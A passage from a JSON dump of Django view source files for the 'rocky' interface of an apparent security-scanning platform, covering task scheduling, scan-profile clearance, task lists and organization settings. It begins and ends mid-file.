super().get_context_data(**kwargs)\n        context[\"member_filter_form\"] = self.member_filter_form(self.request.GET)\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/organization_settings.py",
    "content": "from datetime import datetime\nfrom enum import Enum\nfrom typing import Any\n\nfrom account.mixins import OrganizationPermissionRequiredMixin, OrganizationView\nfrom django.contrib import messages\nfrom django.core.exceptions import PermissionDenied\nfrom django.http import HttpRequest, HttpResponse, HttpResponseBadRequest\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\nfrom structlog import get_logger\nfrom tools.view_helpers import OrganizationDetailBreadcrumbsMixin\n\nlogger = get_logger(__name__)\n\n\nclass PageActions(Enum):\n    RECALCULATE = \"recalculate\"\n\n\nclass OrganizationSettingsView(\n    OrganizationPermissionRequiredMixin, OrganizationDetailBreadcrumbsMixin, OrganizationView, TemplateView\n):\n    template_name = \"organizations/organization_settings.html\"\n    permission_required = \"tools.view_organization\"\n\n    def post(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        \"\"\"Perform actions based on action type\"\"\"\n        action = request.POST.get(\"action\")\n        if not self.organization_member.has_perm(\"tools.can_recalculate_bits\"):\n            raise PermissionDenied()\n        if action == PageActions.RECALCULATE.value:\n            logger.info(\"Recalculating bits\", event_code=920000)\n            connector = self.octopoes_api_connector\n\n            start_time = datetime.now()\n            number_of_bits = connector.recalculate_bits()\n            duration = datetime.now() - start_time\n            messages.add_message(request, messages.INFO, _(f\"Recalculated {number_of_bits} bits. Duration: {duration}\"))\n            return self.get(request, *args, **kwargs)\n        else:\n            raise HttpResponseBadRequest(\"Unknown action\")\n"
  },
  {
    "path": "rocky/rocky/views/page_actions.py",
    "content": "from enum import Enum\nfrom typing import Any\n\nfrom django.contrib import messages\nfrom django.http import HttpRequest, HttpResponse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic.edit import ProcessFormView\n\n\nclass PageActions(Enum):\n    START_SCAN = \"start_scan\"\n    SUBMIT_ANSWER = \"submit_answer\"\n    RESCHEDULE_TASK = \"reschedule_task\"\n    CHANGE_CLEARANCE_LEVEL = \"change_clearance_level\"\n    SCAN_OOIS = \"scan_oois\"\n\n\nclass PageActionsView(ProcessFormView):\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.START_SCAN = PageActions.START_SCAN.value\n        self.SUBMIT_ANSWER = PageActions.SUBMIT_ANSWER.value\n        self.RESCHEDULE_TASK = PageActions.RESCHEDULE_TASK.value\n        self.CHANGE_CLEARANCE_LEVEL = PageActions.CHANGE_CLEARANCE_LEVEL.value\n        self.SCAN_OOIS = PageActions.SCAN_OOIS.value\n        self.action = request.POST.get(\"action\")\n\n    def post(self, request: HttpRequest, *args: str, **kwargs: Any) -> HttpResponse:\n        if not self.action or self.action is None:\n            messages.error(self.request, _(\"Could not process your request, action required.\"))\n\n        return self.get(request, *args, **kwargs)\n"
  },
  {
    "path": "rocky/rocky/views/privacy_statement.py",
    "content": "from django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\n\n\nclass PrivacyStatementView(TemplateView):\n    template_name = \"legal/privacy_statement.html\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"breadcrumbs\"] = [{\"url\": reverse(\"privacy_statement\"), \"text\": _(\"Privacy Statement\")}]\n\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/rerun_bits.py",
    "content": ""
  },
  {
    "path": "rocky/rocky/views/scan_profile.py",
    "content": "from datetime import datetime, timezone\nfrom typing import Any\n\nimport structlog\nfrom django.contrib import messages\nfrom django.contrib.auth import get_user_model\nfrom django.shortcuts import redirect\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import FormView\nfrom tools.forms.ooi import SetClearanceLevelForm\nfrom tools.view_helpers import get_mandatory_fields, get_ooi_url\n\nfrom octopoes.models import DeclaredScanProfile, EmptyScanProfile, ScanProfileType\nfrom rocky.views.ooi_detail import OOIDetailView\n\nlogger = structlog.get_logger(__name__)\n\n\nclass ScanProfileDetailView(FormView, OOIDetailView):\n    template_name = \"scan_profiles/scan_profile_detail.html\"\n    form_class = SetClearanceLevelForm\n\n    def get_context_data(self, **kwargs: Any) -> dict[str, Any]:\n        context = super().get_context_data(**kwargs)\n        context[\"mandatory_fields\"] = get_mandatory_fields(self.request)\n        if self.ooi.scan_profile and self.ooi.scan_profile.user_id:\n            try:\n                context[\"scan_profile_user\"] = get_user_model().objects.get(id=self.ooi.scan_profile.user_id)\n            except get_user_model().DoesNotExist:\n                pass\n        return context\n\n    def get_initial(self):\n        initial = super().get_initial()\n\n        if not self.ooi.scan_profile or isinstance(self.ooi.scan_profile, EmptyScanProfile):\n            return initial\n\n        initial[\"clearance_type\"] = self.ooi.scan_profile.scan_profile_type\n\n        if isinstance(self.ooi.scan_profile, DeclaredScanProfile):\n            initial[\"level\"] = self.ooi.scan_profile.level\n\n        return initial\n\n    def post(self, request, *args, **kwargs):\n        try:\n            clearance_type = self.request.POST[\"clearance_type\"]\n            super().post(request, *args, **kwargs)\n            if clearance_type == ScanProfileType.INHERITED.value:\n                self.octopoes_api_connector.save_scan_profile(\n                    EmptyScanProfile(reference=self.ooi.reference), valid_time=datetime.now(timezone.utc), sync=True\n                )\n                logger.info(\"Scan profiles set to empty\", event_code=\"800011\", ooi=self.ooi.reference)\n        except (ValueError, KeyError):\n            messages.error(\n                self.request, _(\"Cannot set clearance level. The clearance type must be inherited or declared.\")\n            )\n        return redirect(get_ooi_url(\"scan_profile_detail\", self.ooi.primary_key, self.organization.code))\n"
  },
  {
    "path": "rocky/rocky/views/scans.py",
    "content": "from account.mixins import OrganizationView\nfrom django.utils.translation import gettext as _\nfrom django.views.generic import TemplateView\nfrom tools.view_helpers import Breadcrumb, ObjectsBreadcrumbsMixin\n\n\nclass ScanListView(ObjectsBreadcrumbsMixin, OrganizationView, TemplateView):\n    template_name = \"scan.html\"\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        breadcrumbs = super().build_breadcrumbs()\n\n        breadcrumbs.append({\"url\": \"\", \"text\": _(\"Scans\")})\n\n        return breadcrumbs\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"boefjes\"] = self.katalogus_client.get_enabled_boefjes()\n\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/scheduler.py",
    "content": "import uuid\nfrom datetime import datetime, timedelta\nfrom typing import Any\n\nimport structlog\nfrom account.mixins import UnboundOrganizationView\nfrom django.contrib import messages\nfrom django.http import Http404, JsonResponse\nfrom django.utils.translation import gettext_lazy as _\nfrom katalogus.client import Boefje, Normalizer\nfrom reports.forms import (\n    ReportNameForm,\n    ReportRecurrenceChoiceForm,\n    ReportScheduleStartDateChoiceForm,\n    ReportScheduleStartDateForm,\n)\nfrom tools.forms.scheduler import OrganizationTaskFilterForm, TaskFilterForm\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.reports import ReportRecipe\nfrom rocky.scheduler import Boefje as SchedulerBoefje\nfrom rocky.scheduler import (\n    BoefjeTask,\n    LazyTaskList,\n    NormalizerTask,\n    RawData,\n    ReportTask,\n    ScheduleRequest,\n    SchedulerError,\n    ScheduleResponse,\n    SchedulerTaskNotFound,\n    Task,\n    TaskPush,\n    scheduler_client,\n)\nfrom rocky.scheduler import Normalizer as SchedulerNormalizer\nfrom rocky.views.mixins import OctopoesView\n\nlogger = structlog.get_logger(__name__)\n\n\ndef get_date_time(date: str | None) -> datetime | None:\n    if date:\n        return datetime.strptime(date, \"%Y-%m-%d\")\n    return None\n\n\nclass UnboundSchedulerView(UnboundOrganizationView):\n    task_type: str\n    task_filter_form = TaskFilterForm\n    _form_instance = None\n\n    report_schedule_form_start_date_choice = ReportScheduleStartDateChoiceForm  # today or different date\n    report_schedule_form_start_date_time_recurrence = ReportScheduleStartDateForm  # date, time and recurrence\n\n    report_schedule_form_recurrence_choice = ReportRecurrenceChoiceForm  # once or repeat\n\n    report_name_form = ReportNameForm  # name format\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.scheduler_client = scheduler_client(None)\n        self.scheduler_id = self.task_type\n\n    def get_task_type(self):\n        return self.task_type\n\n    def get_plugin_specific_tasks_for_normalizers(self, plugin_id) -> list[dict[str, str]]:\n        if plugin_id:\n            return [\n                {\"column\": \"data\", \"field\": f\"{self.task_type}__id\", \"operator\": \"==\", \"value\": plugin_id},\n                {\"column\": \"data\", \"field\": \"raw_data__boefje_meta__boefje__id\", \"operator\": \"==\", \"value\": plugin_id},\n            ]\n        return []\n\n    def get_plugin_specific_tasks_for_boefjes(self, plugin_id) -> dict[str, str]:\n        if plugin_id:\n            return {\"column\": \"data\", \"field\": f\"{self.task_type}__id\", \"operator\": \"==\", \"value\": plugin_id}\n        return {}\n\n    def get_ooi_search_specific_tasks(self, search) -> dict[str, str]:\n        if search:\n            return {\"column\": \"data\", \"field\": \"input_ooi\", \"operator\": \"ilike\", \"value\": f\"%{search}%\"}\n        return {}\n\n    def get_specific_tasks_by_id(self, task_id) -> dict[str, str]:\n        if task_id:\n            return {\"column\": \"id\", \"operator\": \"==\", \"value\": task_id}\n        return {}\n\n    def get_ooi_specific_tasks(self, ooi_id) -> dict[str, str]:\n        if ooi_id:\n            if self.task_type == \"normalizer\":\n                return {\n                    \"column\": \"data\",\n                    \"field\": \"raw_data__boefje_meta__input_ooi\",\n                    \"operator\": \"==\",\n                    \"value\": ooi_id,\n                }\n            elif self.task_type == \"boefje\":\n                return {\"column\": \"data\", \"field\": \"input_ooi\", \"operator\": \"==\", \"value\": ooi_id}\n        return {}\n\n    def get_task_filter_form_data(self) -> dict[str, Any]:\n        form = self.get_task_filter_form()\n        form.is_valid()\n        return {k: v for k, v in form.cleaned_data.items() if v}\n\n    def _build_task_filters(self, formdata: dict[str, Any], filters: dict[str, Any]) -> dict[str, Any]:\n        plugin_id = formdata.get(\"plugin_id\", self.plugin.id if hasattr(self, \"plugin\") else None)\n        if plugin_id:\n            if formdata.get(\"plugin_id\", False):\n                del formdata[\"plugin_id\"]\n            if self.task_type == \"normalizer\":\n                filters[\"filters\"][\"or\"] = self.get_plugin_specific_tasks_for_normalizers(plugin_id)\n            elif self.task_type == \"boefje\":\n                filters[\"filters\"][\"and\"].append(self.get_plugin_specific_tasks_for_boefjes(plugin_id))\n\n        ooi_id = formdata.get(\"ooi_id\")\n        if ooi_id:\n            del formdata[\"ooi_id\"]\n            filters[\"filters\"][\"and\"].append(self.get_ooi_specific_tasks(ooi_id))\n\n        ooi_search = formdata.get(\"ooi_search\")\n        if ooi_search:\n            del formdata[\"ooi_search\"]\n            filters[\"filters\"][\"and\"].append(self.get_ooi_search_specific_tasks(ooi_search))\n\n        task_id = formdata.get(\"task_id\")\n        if task_id:\n            del formdata[\"task_id\"]\n            filters[\"filters\"][\"and\"].append(self.get_specific_tasks_by_id(task_id))\n\n        return filters\n\n    def _init_filters(self, formdata: dict[str, Any]) -> dict[str, Any]:\n        filters: dict[str, Any] = {\"filters\": {\"and\": []}}\n\n        organizations = formdata.get(\"organizations\")\n        if organizations and organizations != [\"\"]:\n            filters = {\"filters\": {\"and\": [self.get_organization_specific_tasks(organizations)]}}\n            del formdata[\"organizations\"]\n\n        return filters\n\n    def get_task_filters(self) -> dict[str, Any]:\n        formdata = self.get_task_filter_form_data()\n\n        filters = self._init_filters(formdata)\n        filters = self._build_task_filters(formdata, filters)\n\n        return {\"scheduler_id\": self.scheduler_id, \"task_type\": self.task_type, \"filters\": filters, **formdata}\n\n    def count_active_task_filters(self, subtract=None):\n        if not subtract:\n            subtract = (\"observed_at\",)\n        form_data = self.get_task_filter_form_data()\n\n        count = len(form_data)\n        for task_filter in form_data:\n            if task_filter in subtract:\n                count -= 1\n        return count\n\n    def get_organization_specific_tasks(self, organizations: list[str] | None = None) -> dict[str, str | list[str]]:\n        if organizations:\n            return {\"column\": \"organisation\", \"operator\": \"in\", \"value\": organizations}\n        return {}\n\n    def get_task_filter_form(self) -> TaskFilterForm:\n        if not self._form_instance:\n            self._form_instance = self.task_filter_form(self.request.GET, organizations=self.get_user_organizations())\n        return self._form_instance\n\n    def get_task_list(self) -> LazyTaskList | list[Any]:\n        try:\n            return LazyTaskList(self.scheduler_client, **self.get_task_filters())\n        except SchedulerError as error:\n            messages.error(self.request, error.message)\n        return []\n\n    def get_report_schedule_form_start_date_choice(self):\n        return self.report_schedule_form_start_date_choice(self.request.POST)\n\n    def get_report_schedule_form_start_date_time_recurrence(self):\n        return self.report_schedule_form_start_date_time_recurrence()\n\n    def get_report_schedule_form_recurrence_choice(self):\n        return self.report_schedule_form_recurrence_choice(self.request.POST)\n\n    def get_report_name_form(self):\n        return self.report_name_form()\n\n    def get_task_details(self, task_id: str) -> Task | None:\n        try:\n            task = self.scheduler_client.get_task_details(task_id)\n            if task.organization_id() not in self.get_user_organizations():\n                raise SchedulerTaskNotFound()\n\n            return task\n        except SchedulerTaskNotFound:\n            raise Http404()\n\n    def get_task_statistics(self) -> dict[Any, Any]:\n        try:\n            return self.scheduler_client.get_task_stats(self.task_type)\n        except SchedulerError as error:\n            messages.error(self.request, error.message)\n        return {}\n\n    def get_output_oois(self, task):\n        try:\n            origins = self.octopoes_api_connector.list_origins(\n                valid_time=task.modified_at + timedelta(seconds=1),  # we need to account for XTDB's sync time\n                task_id=task.id,\n            )\n            for origin in origins:\n                for ooi in origin.result:\n                    yield str(ooi)\n        except SchedulerError as error:\n            messages.error(self.request, error.message)\n\n    def get_json_task_details(self) -> JsonResponse:\n        try:\n            task = self.get_task_details(self.kwargs[\"task_id\"])\n            if task:\n                params: dict[str, list[str] | str] = {\"oois\": list(self.get_output_oois(task))}\n                if task.modified_at:\n                    params[\"valid_time\"] = task.modified_at.strftime(\"%Y-%m-%dT%H:%M:%S\")\n                return JsonResponse(params, safe=False)\n            else:\n                raise SchedulerTaskNotFound()\n\n        except SchedulerTaskNotFound:\n            raise Http404()\n\n    def get_schedule_details(self, schedule_id: str) -> ScheduleResponse:\n        try:\n            return self.scheduler_client.get_schedule_details(schedule_id)\n        except SchedulerError as error:\n            return messages.error(self.request, error.message)\n\n    def get_schedule_with_filters(self, filters: dict[str, list[dict[str, str]]]) -> ScheduleResponse | None:\n        try:\n            schedule = self.scheduler_client.post_schedule_search(filters)\n            if schedule.results:\n                return schedule.results[0]\n        except SchedulerError as error:\n            messages.error(self.request, error.message)\n        return None\n\n    def schedule_task(self, task: TaskPush) -> None:\n        if not self.indemnification_present:\n            return self.indemnification_error()\n        try:\n            self.scheduler_client.push_task(task)\n        except SchedulerError as error:\n            messages.error(self.request, error.message)\n        else:\n            messages.success(\n                self.request,\n                _(\n                    \"Your task is scheduled and will soon be started in the background. \"\n                    \"Results will be added to the object list when they are in. \"\n                    \"It may take some time, a refresh of the page may be needed to show the results.\"\n                ),\n            )\n\n    # FIXME: Tasks should be (re)created with supplied data, not by fetching prior\n    # task info from the scheduler. Task data should be available from the context\n    # from which the task is created.\n    def reschedule_task(self, task_id: str) -> None:\n        try:\n            task = self.get_task_details(task_id)\n            if task:\n                if task.organization_id() not in self.get_user_organizations():\n                    raise SchedulerTaskNotFound()\n\n                new_id = uuid.uuid4()\n                task.data.id = new_id\n\n                new_task = TaskPush(\n                    id=new_id,\n                    scheduler_id=task.scheduler_id,\n                    organisation=task.organization_id(),\n                    priority=1,\n                    data=task.data.model_dump(),\n                )\n\n                self.schedule_task(new_task)\n            else:\n                raise SchedulerTaskNotFound()\n        except SchedulerTaskNotFound:\n            raise Http404()\n\n    def convert_recurrence_to_cron_expressions(self, recurrence: str, start_date_time: datetime) -> str:\n        \"\"\"\n        The user defines the start date and time.\n        \"\"\"\n\n        if start_date_time and recurrence:\n            day = start_date_time.day\n            month = start_date_time.month\n            week = start_date_time.strftime(\"%w\").upper()  # ex. 4\n            hour = start_date_time.hour\n            minute = start_date_time.minute\n\n            cron_expr = {\n                \"daily\": f\"{minute} {hour} * * *\",  # Recurres every day at the selected time\n                \"weekly\": f\"{minute} {hour} * * {week}\",  # Recurres every week on the {week} at the selected time\n                \"yearly\": f\"{minute} {hour} {day} {month} *\",\n                # Recurres every year on the {day} of the {month} at the selected time\n            }\n\n            if day >= 28:\n                cron_expr[\"monthly\"] = f\"{minute} {hour} L * *\"\n            else:\n                cron_expr[\"monthly\"] = (\n                    f\"{minute} {hour} {day} * *\"  # Recurres on the exact {day} of the month at the selected time\n                )\n\n            return cron_expr.get(recurrence, \"\")\n        return \"\"\n\n\nclass SchedulerView(UnboundSchedulerView, OctopoesView):\n    task_filter_form = OrganizationTaskFilterForm\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.scheduler_client.organization_code = self.organization.code\n\n    def get_task_filter_form(self) -> TaskFilterForm:\n        if not self._form_instance:\n            self._form_instance = self.task_filter_form(self.request.GET)\n        return self._form_instance\n\n    def _init_filters(self, formdata: dict[str, Any]) -> dict[str, Any]:\n        return {\"filters\": {\"and\": [self.get_organization_specific_tasks()]}}\n\n    def create_report_schedule(self, report_recipe: ReportRecipe, deadline_at: datetime) -> ScheduleResponse | None:\n        try:\n            report_task = ReportTask(\n                organisation_id=self.organization.code, report_recipe_id=str(report_recipe.recipe_id)\n            ).model_dump()\n\n            schedule_request = ScheduleRequest(\n                scheduler_id=self.scheduler_id,\n                organisation=self.organization.code,\n                data=report_task,\n                schedule=report_recipe.cron_expression,\n                deadline_at=deadline_at.isoformat(),\n            )\n\n            submit_schedule = self.scheduler_client.post_schedule(schedule=schedule_request)\n            messages.success(self.request, _(\"Your report has been scheduled.\"))\n            return submit_schedule\n        except SchedulerError as error:\n            return messages.error(self.request, error.message)\n\n    def delete_report_schedule(self, schedule_id: str) -> None:\n        try:\n            self.scheduler_client.delete_schedule(schedule_id)\n        except SchedulerError as error:\n            messages.error(self.request, error.message)\n\n    def edit_report_schedule(self, schedule_id: str, params):\n        self.scheduler_client.patch_schedule(schedule_id=schedule_id, params=params)\n\n    def get_report_schedules(self) -> list[dict[str, Any]]:\n        try:\n            return self.scheduler_client.get_scheduled_reports()\n        except SchedulerError as error:\n            messages.error(self.request, error.message)\n        return []\n\n    def get_task_statistics(self) -> dict[Any, Any]:\n        stats = {}\n        try:\n            stats = self.scheduler_client.get_task_stats(self.task_type)\n        except SchedulerError as error:\n            messages.error(self.request, error.message)\n        return stats\n\n    def get_organization_specific_tasks(self, organizations: list[str] | None = None) -> dict[str, str | list[str]]:\n        if organizations:\n            raise ValueError(\"Bound SchedulerView does not support organization argument, use UnboundSchedulerView\")\n        return {\"column\": \"organisation\", \"operator\": \"==\", \"value\": self.organization.code}\n\n    def run_boefje(self, katalogus_boefje: Boefje, ooi: OOI | None) -> None:\n        try:\n            boefje_task = BoefjeTask(\n                boefje=SchedulerBoefje.model_validate(katalogus_boefje.model_dump()),\n                input_ooi=ooi.reference if ooi else None,\n                organization=self.organization.code,\n            )\n\n            new_task = TaskPush(\n                priority=1, data=boefje_task.model_dump(), scheduler_id=\"boefje\", organisation=self.organization.code\n            )\n\n            self.schedule_task(new_task)\n\n        except SchedulerError as error:\n            messages.error(self.request, error.message)\n\n    def run_boefje_for_oois(self, boefje: Boefje, oois: list[OOI]) -> None:\n        try:\n            if not oois and not boefje.consumes:\n                self.run_boefje(boefje, None)\n\n            for ooi in oois:\n                if ooi.scan_profile and ooi.scan_profile.level < boefje.scan_level:\n                    self.can_raise_clearance_level(ooi, boefje.scan_level)\n                self.run_boefje(boefje, ooi)\n        except SchedulerError as error:\n            messages.error(self.request, error.message)\n\n    def run_normalizer(self, katalogus_normalizer: Normalizer, raw_data: RawData) -> None:\n        try:\n            normalizer_task = NormalizerTask(\n                normalizer=SchedulerNormalizer.model_validate(katalogus_normalizer.model_dump()), raw_data=raw_data\n            )\n\n            new_task = TaskPush(\n                priority=1,\n                data=normalizer_task.model_dump(),\n                scheduler_id=\"normalizer\",\n                organisation=self.organization.code,\n            )\n\n            self.schedule_task(new_task)\n        except SchedulerError as error:\n            messages.error(self.request, error.message)\n"
  },
  {
    "path": "rocky/rocky/views/task_detail.py",
    "content": "import json\n\nfrom django.contrib import messages\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\n\nfrom rocky.scheduler import SchedulerError\nfrom rocky.views.tasks import SchedulerView\n\n\nclass DownloadTaskDetail(SchedulerView):\n    def get(self, request, *args, **kwargs):\n        task_id = kwargs[\"task_id\"]\n        filename = \"task_\" + task_id + \".json\"\n        task_details = self.get_task_details(task_id)\n        if task_details is not None:\n            response = HttpResponse(json.dumps(task_details.model_dump(mode=\"json\")), content_type=\"application/json\")\n            response[\"Content-Disposition\"] = f'attachment; filename=\"{filename}\"'\n            return response\n\n        return redirect(reverse(\"task_list\", kwargs={\"organization_code\": self.organization.code}))\n\n\nclass TaskDetailView(SchedulerView, TemplateView):\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"task_id\"] = kwargs[\"task_id\"]\n        try:\n            context[\"task\"] = self.get_task_details(context[\"task_id\"])\n        except SchedulerError as error:\n            messages.error(self.request, error.message)\n        return context\n\n\nclass BoefjeTaskDetailView(TaskDetailView):\n    template_name = \"tasks/boefje_task_detail.html\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"task_list\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"Tasks\")},\n            {\n                \"url\": reverse(\n                    \"boefje_task_view\",\n                    kwargs={\"organization_code\": self.organization.code, \"task_id\": context[\"task_id\"]},\n                ),\n                \"text\": context[\"task\"].data.boefje.id,\n            },\n        ]\n\n        return context\n\n\nclass NormalizerTaskJSONView(TaskDetailView):\n    task_type = \"normalizer\"\n    plugin_type = \"normalizer\"\n    template_name = \"tasks/normalizer_task_detail.html\"\n\n    def get(self, request, *args, **kwargs) -> JsonResponse | HttpResponse:\n        task = self.get_json_task_details()\n        if task is not None:\n            return task\n        return super().get(request, *args, **kwargs)\n"
  },
  {
    "path": "rocky/rocky/views/tasks.py",
    "content": "from collections.abc import Iterable\nfrom typing import Any\n\nfrom django.contrib import messages\nfrom django.http import HttpRequest, HttpResponse\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic.list import ListView\nfrom httpx import HTTPError\nfrom tools.forms.scheduler import TaskFilterForm\n\nfrom rocky.paginator import RockyPaginator\nfrom rocky.scheduler import LazyTaskList, SchedulerError, scheduler_client\nfrom rocky.views.page_actions import PageActionsView\nfrom rocky.views.scheduler import SchedulerView, UnboundSchedulerView\n\n\nclass SchedulerListView(ListView):\n    object_list: Iterable[Any]\n\n    def dispatch(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        try:\n            return super().dispatch(request, *args, **kwargs)\n        except SchedulerError as error:\n            messages.error(request, error.message)\n            self.object_list = []\n            return self.render_to_response(self.get_context_data())\n\n\nclass TaskListView(SchedulerView, SchedulerListView, PageActionsView):\n    paginator_class = RockyPaginator\n    paginate_by = 150\n    context_object_name = \"task_list\"\n\n    def get_queryset(self):\n        return self.get_task_list()\n\n    def post(self, request, *args, **kwargs):\n        if self.action == self.RESCHEDULE_TASK:\n            task_id = self.request.POST.get(\"task_id\", \"\")\n            self.reschedule_task(task_id)\n\n        return super().post(request, *args, **kwargs)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"task_filter_form\"] = self.get_task_filter_form()\n        context[\"active_filters_counter\"] = self.count_active_task_filters()\n        first_page = True\n\n        page_obj = context.get(\"page_obj\")\n\n        if page_obj:\n            # Explicitly check if this is the first page\n            first_page = page_obj.number == 1\n\n        if context[\"active_filters_counter\"] == 0 and first_page:\n            context[\"stats\"] = self.get_task_statistics()\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"task_list\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"Tasks\")}\n        ]\n        return context\n\n\nclass OOIDetailTaskListView(TaskListView):\n    paginate_by = 20\n\n\nclass BoefjesTaskListView(TaskListView):\n    template_name = \"tasks/boefjes.html\"\n    task_type = \"boefje\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"task_list\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"Tasks\")},\n            {\n                \"url\": reverse(\"boefjes_task_list\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Boefjes\"),\n            },\n        ]\n        return context\n\n\nclass NormalizersTaskListView(TaskListView):\n    template_name = \"tasks/normalizers.html\"\n    task_type = \"normalizer\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"task_list\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"Tasks\")},\n            {\n                \"url\": reverse(\"normalizers_task_list\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Normalizers\"),\n            },\n        ]\n\n        # Search for the corresponding Normalizer names and add those to the task_list\n        task_list = context.get(\"task_list\", [])\n        ids = {\n            task.data.raw_data.boefje_meta.boefje.id\n            for task in task_list\n            if task.data.raw_data.boefje_meta.boefje.id != \"manual\"\n        }\n        plugins = self.katalogus_client.get_plugins(ids=list(ids))\n        plugin_dict = {p.id: p.name for p in plugins}\n\n        for task in task_list:\n            boefje_id = task.data.raw_data.boefje_meta.boefje.id\n            task.data.raw_data.boefje_meta.boefje.name = plugin_dict[boefje_id] if boefje_id != \"manual\" else \"Manual\"\n\n        return context\n\n\nclass ReportsTaskListView(TaskListView):\n    template_name = \"tasks/reports.html\"\n    task_type = \"report\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"task_list\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"Tasks\")},\n            {\n                \"url\": reverse(\"reports_task_list\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Reports\"),\n            },\n        ]\n        return context\n\n\nclass AllTaskListView(UnboundSchedulerView, SchedulerListView, PageActionsView):\n    paginator_class = RockyPaginator\n    paginate_by = 150\n    context_object_name = \"task_list\"\n    client = scheduler_client(None)\n    task_filter_form = TaskFilterForm\n\n    def get_organizations_filter(self) -> dict[str, dict[str, list[dict[str, str | list[str]]]]]:\n        if self.request.user.has_perm(\"tools.can_access_all_organizations\"):\n            # We don't need to add a filter if the user can access all organizations\n            return {}\n\n        return {\n            \"filters\": {\n                \"filters\": [{\"column\": \"organisation\", \"operator\": \"in\", \"value\": self.get_user_organizations()}]\n            }\n        }\n\n    def get_queryset(self):\n        form_data = self.get_task_filters()\n        kwargs = {k: v for k, v in form_data.items() if v} | self.get_organizations_filter()\n\n        try:\n            return LazyTaskList(self.client, **kwargs)\n\n        except HTTPError as error:\n            error_message = _(f\"Fetching tasks failed: no connection with scheduler: {error}\")\n            messages.add_message(self.request, messages.ERROR, error_message)\n            return []\n        except SchedulerError as error:\n            messages.add_message(self.request, messages.ERROR, str(error))\n            return []\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"task_filter_form\"] = self.get_task_filter_form()\n        context[\"active_filters_counter\"] = self.count_active_task_filters()\n        first_page = True\n\n        page_obj = context.get(\"page_obj\")\n\n        if page_obj:\n            # Explicitly check if this is the first page\n            first_page = page_obj.number == 1\n\n        if context[\"active_filters_counter\"] == 0 and first_page:\n            task_organizations = (\n                self.get_user_organizations()\n                if not self.request.user.has_perm(\"tools.can_access_all_organizations\")\n                else None\n            )\n            context[\"stats\"] = self.client.get_combined_schedulers_stats(self.get_task_type(), task_organizations)\n        context[\"breadcrumbs\"] = [{\"url\": reverse(\"all_task_list\", kwargs={}), \"text\": _(\"All Tasks\")}]\n        return context\n\n\nclass AllBoefjesTaskListView(AllTaskListView):\n    template_name = \"tasks/boefjes.html\"\n    task_type = \"boefje\"\n\n\nclass AllNormalizersTaskListView(AllTaskListView):\n    template_name = \"tasks/normalizers.html\"\n    task_type = \"normalizer\"\n\n\nclass AllReportsTaskListView(AllTaskListView):\n    template_name = \"tasks/reports.html\"\n    task_type = \"report\"\n"
  },
  {
    "path": "rocky/rocky/views/upload_csv.py",
    "content": "import csv\nimport io\nfrom datetime import datetime, timezone\nfrom typing import Any, ClassVar\nfrom uuid import uuid4\n\nfrom account.mixins import OrganizationPermissionRequiredMixin, OrganizationView\nfrom django.contrib import messages\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.urls.base import reverse_lazy\nfrom django.utils.translation import gettext as _\nfrom django.views.generic.edit import FormView\nfrom httpx import HTTPError\nfrom pydantic import ValidationError\nfrom tools.forms.upload_csv import CSV_ERRORS\nfrom tools.forms.upload_oois import UploadOOICSVForm\n\nfrom octopoes.api.models import Declaration\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, Network\nfrom octopoes.models.ooi.web import URL\n\nCSV_CRITERIA = [\n    _(\"Add column titles. Followed by each object on a new line.\"),\n    _(\n        \"For URL object type, a column 'raw' with URL values is required, starting with http:// or https://, \"\n        \"optionally a second column 'network' is supported \"\n    ),\n    _(\n        \"For Hostname object type, a column with 'name' values is required, optionally a second column 'network' \"\n        \"is supported \"\n    ),\n    _(\n        \"For IPAddressV4 and IPAddressV6 object types, a column of 'address' is required, optionally a second column 